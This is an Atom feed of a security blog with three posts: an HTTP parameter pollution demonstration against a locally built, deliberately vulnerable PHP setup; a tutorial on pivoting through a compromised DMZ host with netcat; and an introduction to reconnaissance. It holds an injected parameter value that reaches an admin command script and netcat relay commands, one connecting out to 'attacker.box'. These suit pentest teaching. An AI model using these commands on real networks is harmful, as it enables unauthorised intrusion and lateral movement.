<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-997822105286062502</id><updated>2012-02-16T01:59:14.251-08:00</updated><title type='text'>The Art Of Reconnaissance</title><subtitle type='html'>Every successful attack requires careful planning and in-depth knowledge of the target.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://taorecon.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/997822105286062502/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://taorecon.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Dragunov</name><uri>http://www.blogger.com/profile/04878802047495135896</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>3</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-997822105286062502.post-3323910039821013241</id><published>2010-05-17T02:15:00.000-07:00</published><updated>2010-05-17T04:07:05.899-07:00</updated><title type='text'>A Case of Polluting HTTP Parameters</title><content type='html'>Hey Guys&lt;br /&gt;&lt;br /&gt;Sorry for such a late post (been busy wid work :( ).....&lt;br /&gt;&lt;br /&gt;Recently a friend came to me and told me about a scenario which he had used to deploy his web application. He had built his application using PHP on Apache. There was a front-end server directly accessible to the internet and a back-end server only accessible to the front-end server. The PHP application deployed on the front end server included PHP files kept on the back-end server and showed it on the browser. The included PHP files were hard coded in the code of the PHP application running on the front-end server and this front end application took a GET parameter as input.&lt;br /&gt;&lt;br /&gt;Now, this scenario kind of caught my interest. I recently read about HTTP parameter pollution and I thought this attack might work in this case. So I began digging and experimenting. And I came up with a demonstration which shows how will this attack work when someone is using a setup similar to the setup described above to bypass a hard coded value in the code. I know this is not recon stuff ,but still its interesting.. ;)&lt;br /&gt;&lt;br /&gt;We will see 4 PHP codes here :-&lt;br /&gt;&lt;br /&gt;1.) hpp.php - The main application deployed on the front-end server, which remotely includes a PHP code (cms.php) kept on the back-end server.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_QNTQ52fFv8U/S_ELOSgQ8SI/AAAAAAAAAB8/I4VTHmN0u28/s1600/1.PNG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 195px;" src="http://1.bp.blogspot.com/_QNTQ52fFv8U/S_ELOSgQ8SI/AAAAAAAAAB8/I4VTHmN0u28/s320/1.PNG" border="0" alt=""id="BLOGGER_PHOTO_ID_5472167362345103650" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2.) cms.php - A PHP code kept on the back-end server which receives an input from hpp.php in the "function" parameter and includes a PHP code (set to normaluser.php) meant for a normal user locally.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_QNTQ52fFv8U/S_ELs55q4BI/AAAAAAAAACE/jJipM4R4j1A/s1600/2.PNG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 145px;" src="http://1.bp.blogspot.com/_QNTQ52fFv8U/S_ELs55q4BI/AAAAAAAAACE/jJipM4R4j1A/s320/2.PNG" border="0" alt=""id="BLOGGER_PHOTO_ID_5472167888316719122" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;3.) normaluser.php - A PHP code kept on the back-end server meant for a normal user and included by cms.php .The ping command was set in this case to show that the normal user can only use the ping service.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_QNTQ52fFv8U/S_EL3fVWWGI/AAAAAAAAACM/B9JgUy019dM/s1600/3.PNG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 128px;" src="http://3.bp.blogspot.com/_QNTQ52fFv8U/S_EL3fVWWGI/AAAAAAAAACM/B9JgUy019dM/s320/3.PNG" border="0" alt=""id="BLOGGER_PHOTO_ID_5472168070163617890" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;4.) adminuser.php - A PHP code meant for an admin user. This code can run any OS command directly to show that this code really is for the admin ;) .&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_QNTQ52fFv8U/S_EMAdWMkGI/AAAAAAAAACU/xvfa_1J5aZ8/s1600/4.PNG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 133px;" src="http://1.bp.blogspot.com/_QNTQ52fFv8U/S_EMAdWMkGI/AAAAAAAAACU/xvfa_1J5aZ8/s320/4.PNG" border="0" alt=""id="BLOGGER_PHOTO_ID_5472168224249122914" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Now, we can see that the normaluser.php and adminuser.php codes are vulnerable to OS command injection and XSS flaws, but I wont discuss them here because they are not the subject we want to talk about right now. This scenario was tested on the same server (my local server), cause I didn't had two servers to make a front-end and a back-end server :) . I used the session variables here to make myself feel like the back-end web applications are really not accessible directly, but only through the front-end web application ;) . The random variable (which is not really random) was chosen just to demonstrate that the "auth" session variable will get set only when cms.php is called by hpp.php and not directly.&lt;br /&gt;&lt;br /&gt;Lets talk a little about HPP. HPP i.e. HTTP parameter pollution is an injection attack which consists of injecting query string delimiters and overriding or adding HTTP GET or POST parameters. This attack consists of client side HPP and server side HPP. We are discussing server side HPP here.&lt;br /&gt;&lt;br /&gt;Different platforms take multiple HTTP GET, POST or COOKIE parameters with the same name in different ways. In our case, which is PHP on apache, if we provide multiple parameters with the same name to a web application, the application will consider the last parameter with the same name and use that instead of all the other parameters with the same name occurring before it.&lt;br /&gt;&lt;br /&gt;Lets move on with the testing part. Opening hpp.php shows us the following:-&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_QNTQ52fFv8U/S_EMfKtKznI/AAAAAAAAACc/Bq3aoA0F9SE/s1600/5.PNG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 194px;" src="http://2.bp.blogspot.com/_QNTQ52fFv8U/S_EMfKtKznI/AAAAAAAAACc/Bq3aoA0F9SE/s320/5.PNG" border="0" alt=""id="BLOGGER_PHOTO_ID_5472168751821147762" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Entering an IP and hitting enter shows us the following:-&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_QNTQ52fFv8U/S_EMsuPgtyI/AAAAAAAAACk/05-bwsTNqhs/s1600/6.PNG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 194px;" src="http://2.bp.blogspot.com/_QNTQ52fFv8U/S_EMsuPgtyI/AAAAAAAAACk/05-bwsTNqhs/s320/6.PNG" border="0" alt=""id="BLOGGER_PHOTO_ID_5472168984698730274" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;We can see that the normaluser.php script got included and executed. Lets see what input this application takes using a web proxy:-&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_QNTQ52fFv8U/S_EM5Rqc45I/AAAAAAAAACs/RzR8r-Xe_lA/s1600/7.PNG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 194px;" src="http://1.bp.blogspot.com/_QNTQ52fFv8U/S_EM5Rqc45I/AAAAAAAAACs/RzR8r-Xe_lA/s320/7.PNG" border="0" alt=""id="BLOGGER_PHOTO_ID_5472169200365396882" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;We can see that the application takes a POST parameter named "b" which contains the IP we entered.&lt;br /&gt;&lt;br /&gt;Now, looking at the hpp.php code and referring back to the discussion we just had about different platforms processing multiple parameters with same names in different ways, if we can make hpp.php take another "function" parameter containing a different PHP application other than normaluser.php, then hpp.php will remotely include cms.php with two "function" parameters in the URL and the one that comes at the last position will be processed by cms.php.&lt;br /&gt;&lt;br /&gt;So, how do we go about it.&lt;br /&gt;&lt;br /&gt;Open hpp.php and again input an IP and hit enter while intercepting the request using a web proxy as shown:-&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_QNTQ52fFv8U/S_ENJwfxGiI/AAAAAAAAAC0/pB0Tx7BbjA0/s1600/8.PNG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 194px;" src="http://4.bp.blogspot.com/_QNTQ52fFv8U/S_ENJwfxGiI/AAAAAAAAAC0/pB0Tx7BbjA0/s320/8.PNG" border="0" alt=""id="BLOGGER_PHOTO_ID_5472169483519990306" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Inject a "%26function%3dadminuser.php" after the IP as shown:-&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_QNTQ52fFv8U/S_ENVK9JK5I/AAAAAAAAAC8/NIv-hJwvnyw/s1600/9.PNG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 194px;" src="http://1.bp.blogspot.com/_QNTQ52fFv8U/S_ENVK9JK5I/AAAAAAAAAC8/NIv-hJwvnyw/s320/9.PNG" border="0" alt=""id="BLOGGER_PHOTO_ID_5472169679601085330" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;to get the following output:-&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_QNTQ52fFv8U/S_ENhcJiQdI/AAAAAAAAADE/kk_nFMDKUmg/s1600/10.PNG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 194px;" src="http://3.bp.blogspot.com/_QNTQ52fFv8U/S_ENhcJiQdI/AAAAAAAAADE/kk_nFMDKUmg/s320/10.PNG" border="0" alt=""id="BLOGGER_PHOTO_ID_5472169890374894034" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;All righty!! So what just happened.. It can be clearly seen that this time adminuser.php is included. Basically, "%26function%3dadminuser.php" is equivalent to "&amp;function=adminuser.php"; the only difference being that the query string delimiters have been URL encloded. When we inject "%26function%3dadminuser.php" in the POST parameter, hpp.php URL decodes this value to "&amp;function=adminuser.php" and the final string in the require_once function i.e. $d becomes "http://localhost:8080/cms.php?function=normaluser.php&amp;cmd=127.0.0.1&amp;function=adminuser.php&amp;rand=12345" which consists of two "function" parameters. According to the behavior of PHP, when cms.php is remotely included with these two parameters with the same name (function), cms.php will process the last parameter, and since the value of the last function parameter is "adminuser.php", that file is included and executed.&lt;br /&gt;&lt;br /&gt;We know that adminuser.php takes an OS command directly, so all we have to do is replace the IP with an OS command to get the required results as shown:-&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_QNTQ52fFv8U/S_EN_0K5BlI/AAAAAAAAADM/vVlLEcFXW5M/s1600/11.PNG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 194px;" src="http://4.bp.blogspot.com/_QNTQ52fFv8U/S_EN_0K5BlI/AAAAAAAAADM/vVlLEcFXW5M/s320/11.PNG" border="0" alt=""id="BLOGGER_PHOTO_ID_5472170412219106898" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_QNTQ52fFv8U/S_EOJYb8_6I/AAAAAAAAADU/a7nv26au9m0/s1600/12.PNG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 194px;" src="http://1.bp.blogspot.com/_QNTQ52fFv8U/S_EOJYb8_6I/AAAAAAAAADU/a7nv26au9m0/s320/12.PNG" border="0" alt=""id="BLOGGER_PHOTO_ID_5472170576573169570" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;So we were able to override a hard coded value in the code with one of our own value to get a file of our choice executed. cooooll!!&lt;br /&gt;&lt;br /&gt;In this attack, we already took out all the information from the code needed to perform the attack. And it can be seen, it would have been much difficult to guess exactly what we have to inject in the parameter to get the work done.&lt;br /&gt;&lt;br /&gt;I actually never tried this attack on my friend's web application, but it gave me a hint as in how this attack can be so devastating.&lt;br /&gt;&lt;br /&gt;Any suggestions and feedbacks are most welcome. &lt;br /&gt;&lt;br /&gt;Till we meet again Bbyes :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/997822105286062502-3323910039821013241?l=taorecon.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://taorecon.blogspot.com/feeds/3323910039821013241/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://taorecon.blogspot.com/2010/05/case-of-polluting-http.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/997822105286062502/posts/default/3323910039821013241'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/997822105286062502/posts/default/3323910039821013241'/><link rel='alternate' type='text/html' href='http://taorecon.blogspot.com/2010/05/case-of-polluting-http.html' title='A Case of Polluting HTTP Parameters'/><author><name>Dragunov</name><uri>http://www.blogger.com/profile/04878802047495135896</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_QNTQ52fFv8U/S_ELOSgQ8SI/AAAAAAAAAB8/I4VTHmN0u28/s72-c/1.PNG' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-997822105286062502.post-160108832770494556</id><published>2009-12-08T15:58:00.000-08:00</published><updated>2009-12-08T21:35:19.899-08:00</updated><title type='text'>Advanced Traffic Pivoting with Netcat (bind/reverse connection port forwards)</title><content type='html'>&lt;span style="font-weight: bold;"&gt;Background -&lt;/span&gt;&lt;br /&gt;Many a times during a pentest, I need to access machines on an internal network that are not reachable from outside, since they lie in the private ip space. So the solution is to setup the previously 0wned box on the DMZ to pivot traffic to these internal hosts.&lt;br /&gt;&lt;br /&gt;By now, you must be saying to yourself, that's ancient stuff, it's been documented for ages how port forwards can be done with netcat, there's nothing new in that!&lt;br /&gt;&lt;br /&gt;Well, here I would like to point out that you most likely would have used backpipes in linux to bi-directionally port forward traffic using netcat, which also involves using mknod and tee.&lt;br /&gt;&lt;br /&gt;I'll show you a quick example here&lt;br /&gt;&lt;br /&gt;$ mknod backpipe p&lt;br /&gt;&amp;#x0a;&amp;#x24;&amp;#x20;&amp;#x6e;&amp;#x63;&amp;#x20;&amp;#x2d;&amp;#x6c;&amp;#x20;&amp;#x2d;&amp;#x70;&amp;#x20;&amp;#x38;&amp;#x30;&amp;#x20;&amp;#x30;&amp;#x3c;&amp;#x62;&amp;#x61;&amp;#x63;&amp;#x6b;&amp;#x70;&amp;#x69;&amp;#x70;&amp;#x65;&amp;#x20;&amp;#x7c;&amp;#x20;&amp;#x74;&amp;#x65;&amp;#x65;&amp;#x20;&amp;#x2d;&amp;#x61;&amp;#x20;&amp;#x69;&amp;#x6e;&amp;#x66;&amp;#x6c;&amp;#x6f;&amp;#x77;&amp;#x20;&amp;#x7c;&amp;#x20;&amp;#x6e;&amp;#x63;&amp;#x20;&amp;#x6c;&amp;#x6f;&amp;#x63;&amp;#x61;&amp;#x6c;&amp;#x68;&amp;#x6f;&amp;#x73;&amp;#x74;&amp;#x20;&amp;#x38;&amp;#x31;&amp;#x20;&amp;#x7c;&amp;#x20;&amp;#x74;&amp;#x65;&amp;#x65;&amp;#x20;&amp;#x2d;&amp;#x61;&amp;#x20;&amp;#x6f;&amp;#x75;&amp;#x74;&amp;#x66;&amp;#x6c;&amp;#x6f;&amp;#x77;&amp;#x20;&amp;#x31;&amp;#x3e;&amp;#x62;&amp;#x61;&amp;#x63;&amp;#x6b;&amp;#x70;&amp;#x69;&amp;#x70;&amp;#x65;&amp;#x0a;&amp;#x0a;&amp;#x0a;&lt;br /&gt;&lt;br /&gt;THAT works in *nix, but what happens when you need to perform the same thing on a windows box ???&lt;br /&gt;&lt;br /&gt;This motivated me to find a unified set of commands that are simple to remember, less confusing, and more importantly, can be used on both linux and windows WITHOUT MAKING ANY CHANGES to the commands. (although you have to change nc to nc.exe in windows, but hey you're smart enough to figure that out, rite ? )&lt;br /&gt;I've named my two methods similar to the payloads of metasploit (which rocks btw... thanks hdm !), so that it becomes easier for you to grasp the concept. We'll be making use of netcat's -e argument, which is most commonly used to bind shells on ports.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_IP2wxUL7i_g/Sx7obCl6SDI/AAAAAAAAAA0/uaaj2YKEQh8/s1600-h/Network-Diag.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 320px; height: 151px;" src="http://3.bp.blogspot.com/_IP2wxUL7i_g/Sx7obCl6SDI/AAAAAAAAAA0/uaaj2YKEQh8/s320/Network-Diag.png" alt="" id="BLOGGER_PHOTO_ID_5413019353395906610" border="0" /&gt;&lt;/a&gt;&lt;span style="font-weight: bold;"&gt;The Scenario - &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;You 0wn a box on the DMZ that can access machines on the internal network. You need to interact with a server on the internal network that is running Oracle DB on port 1521.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Case 1 -&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Preconditions -&lt;/span&gt;&lt;br /&gt;1. We do not have root on the DMZ box, SSH disabled, so cannot use SSH port forwarding.&lt;br /&gt;&lt;br /&gt;2. Inbound connections to arbitrary ports on the DMZ box are not blocked.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Bind TCP Method -&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Steps -&lt;/span&gt;&lt;br /&gt;On the DMZ Box, we run a simple listener to client relay,&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;nc -l -p 1521 -e "nc internal.db.srv 1521"&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_IP2wxUL7i_g/Sx7o6rw28LI/AAAAAAAAAA8/TutGF3wVEIU/s1600-h/case+1+details.PNG"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 320px; height: 209px;" src="http://1.bp.blogspot.com/_IP2wxUL7i_g/Sx7o6rw28LI/AAAAAAAAAA8/TutGF3wVEIU/s320/case+1+details.PNG" alt="" id="BLOGGER_PHOTO_ID_5413019897023623346" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Result -&lt;/span&gt;&lt;br /&gt;Now, if the attacker connects to port 1521 of the DMZ Box, his connection will infact be routed to port 1521 of the internal server running Oracle.&lt;br /&gt;Hence interaction with the db is possible which was previously inaccessible.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Case 2 -&lt;/span&gt;&lt;br /&gt;Now this is where the scenario gets a bit scary.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Preconditions -&lt;/span&gt;&lt;br /&gt;1. Includes all of Case 1 + inbound connections to the DMZ box ARE BLOCKED.&lt;br /&gt;2. DMZ box can make outbound connections only on port 80.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Reverse TCP Method -&lt;/span&gt;&lt;br /&gt;This time we'll use listener to listener and client to client relays in netcat to Reverse Connect to attacker's box.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_IP2wxUL7i_g/Sx7pqKm3n5I/AAAAAAAAABE/-CyYvpdkmuw/s1600-h/case+2+details.PNG"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 285px; height: 120px;" src="http://4.bp.blogspot.com/_IP2wxUL7i_g/Sx7pqKm3n5I/AAAAAAAAABE/-CyYvpdkmuw/s320/case+2+details.PNG" alt="" id="BLOGGER_PHOTO_ID_5413020712757075858" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;This method comprises of two parts -&lt;br /&gt;&lt;br /&gt;a) Establish a client to client relay on the DMZ box that connects to both the attacker's box on port 80 and the internal.db.srv box on port 1521.&lt;br /&gt;&lt;br /&gt;b) Establish a listener to listener relay that binds to both port 80 and port 1521 on the attacker's box.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Steps (must be done in the following order)-&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;1. On the attacker's Linux Box, we run a listener to listener relay,&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;nc -l -p 80 -e "nc -l -p 1521"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;2. While on the DMZ Box, we run a client to client relay,&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;nc attacker.box 80 -e "nc internal.db.srv 1521"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Analysis -&lt;/span&gt;&lt;br /&gt;What happens in the first step is, we instruct netcat to first bind to port 80 on the attacker's linux box and wait for a connection.Now when it receives a connection on port 80, it binds on another port, in this case 1521, and then proceeds to bidirectionally redirect all the i/o received on port 80 to port 1521.&lt;br /&gt;&lt;br /&gt;In the 2nd step, we instruct netcat to first connect back to the attacker's linux box on port 80, and when the connection is successful, connect to port 1521 on the internal.db.srv and then bidirectionally redirect all the i/o between the two connections.&lt;br /&gt;&lt;br /&gt;Now, the attacker can successfully connect to port 1521 on his localhost and proceed to interact with the desired service. This is also very helpful when using tools like fgdump, psexec that require a connection to port 445 on windows clients that are on the internal network.&lt;br /&gt;&lt;br /&gt;Note: I couldn't get step 1 to work on a windows system. So the attacking system has to be linux.&lt;br /&gt;&lt;br /&gt;So that concludes this post. Keep on reading folks cause this blog is going to be around a long time!!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/997822105286062502-160108832770494556?l=taorecon.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://taorecon.blogspot.com/feeds/160108832770494556/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://taorecon.blogspot.com/2009/12/advanced-traffic-pivoting-with-netcat_08.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/997822105286062502/posts/default/160108832770494556'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/997822105286062502/posts/default/160108832770494556'/><link rel='alternate' type='text/html' href='http://taorecon.blogspot.com/2009/12/advanced-traffic-pivoting-with-netcat_08.html' title='Advanced Traffic Pivoting with Netcat (bind/reverse connection port forwards)'/><author><name>Gaurav</name><uri>http://www.blogger.com/profile/07035069776229650752</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_IP2wxUL7i_g/Sx7obCl6SDI/AAAAAAAAAA0/uaaj2YKEQh8/s72-c/Network-Diag.png' height='72' width='72'/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-997822105286062502.post-1398792222606131202</id><published>2009-11-04T02:08:00.001-08:00</published><updated>2009-11-05T20:55:30.686-08:00</updated><title type='text'>Introduction</title><content type='html'>This is a brief introduction to what &lt;span style="font-weight:bold;"&gt;Reconnaissance&lt;/span&gt; and this blog is all about.&lt;br /&gt;&lt;br /&gt;First of all I would like to say that reconnaissance is my favorite and most stressed subject, and by no means I am an expert in this field. But like everyone else dedicated to a particular subject, I try to learn and get better everyday!&lt;br /&gt;&lt;br /&gt;Reconnaissance is the art of information gathering. In the cyber world, it is the art of gathering as much information as possible about the target and mapping the attack surface against it. Now, when we talk about an attack surface , it does not necessarily have to be an IP or group of IP's belonging or somehow related to the target. It can be an email address, telephone number e.t.c. belonging to a person who is somehow related to the target. Reconnaissance is one of the most misunderstood, underestimated and difficult topics in the field of information security. When I say difficult, it refers to the approach a person should take to carry out this process.&lt;br /&gt;After all, if u can't get all the avenues to attack a target, u can miss out on achieving your objective , which might be to breach the security of the target or audit it( depending on who u r ;) ).&lt;br /&gt;&lt;br /&gt;So folks, recon can even include the things that seem very insignificant at first.&lt;br /&gt;Without going into technical details, the brief objectives of recon include(and by no means it is complete):-&lt;br /&gt;&lt;br /&gt;1. Studying about the target and what it does. (which can include documents published by it online, which give information about its organizational, political or IT infrastructure). This can also include usage of search engines, geo-location mapping e.t.c.&lt;br /&gt;&lt;br /&gt;2. Mapping the real world target to a cyber world target. This refers to gathering all the IP's reflecting the complete target organization including all its affiliates, partner companies, sister companies, brands, divisions e.t.c.&lt;br /&gt;&lt;br /&gt;3. Gathering all the information about personnel related to the target. This can include gathering email addresses, official and residential phone numbers, social networking site, news groups or forums information, resumes, personal web sites, social engineering, using search engines, extracting metadata from published documents e.t.c. This is often the weakest link to attack, but going through this process is very tedious at times.&lt;br /&gt;&lt;br /&gt;Some technical specifics included in the recon process, that I find the most interesting and difficult, which again are by no means complete:-&lt;br /&gt;&lt;br /&gt;1. Identifying the online presence of corporate networks belonging to the target.&lt;br /&gt;&lt;br /&gt;2. Identifying all the DNS servers (which are publicly accessible) used by the personnel related to the target.     &lt;br /&gt;&lt;br /&gt;3. Identifying masquerading. When we see traffic from an IP, how do we know that traffic is generated by a single machine and not by a natting device(Hell Yeah! that's what identifying masquerades is all about). &lt;br /&gt;&lt;br /&gt;4. Identifying network or application firewalls, load balancers, honeypots, reverse proxies, IPS/IDS e.t.c.&lt;br /&gt;&lt;br /&gt;5. Mapping the target network's layout. &lt;br /&gt;&lt;br /&gt;6. Identifying the presence of URL rewriting engines employed on a web server.&lt;br /&gt;&lt;br /&gt;7. Identifying application servers, backend technologies and to some extent the inner workings of a target web application. &lt;br /&gt;&lt;br /&gt;Some people may argue that many of the aforementioned points belong to the enumeration phase of an attack, but for me all of these fall under recon (To tell the truth, for me identifying a database backend via an error message also falls under recon even if I have injected a single quote in a web application parameter to cause the error ;)  ). &lt;br /&gt;&lt;br /&gt;One last note : &lt;br /&gt;even though this blog is primarily about reconnaissance, this doesn't means that I am not going to post on other topics of information security. &lt;br /&gt;&lt;br /&gt;Will be back with more..&lt;br /&gt;&lt;br /&gt;Cheers!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/997822105286062502-1398792222606131202?l=taorecon.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://taorecon.blogspot.com/feeds/1398792222606131202/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://taorecon.blogspot.com/2009/11/introduction-to-reconnaissance.html#comment-form' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/997822105286062502/posts/default/1398792222606131202'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/997822105286062502/posts/default/1398792222606131202'/><link rel='alternate' type='text/html' href='http://taorecon.blogspot.com/2009/11/introduction-to-reconnaissance.html' title='Introduction'/><author><name>Dragunov</name><uri>http://www.blogger.com/profile/04878802047495135896</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>7</thr:total></entry></feed>
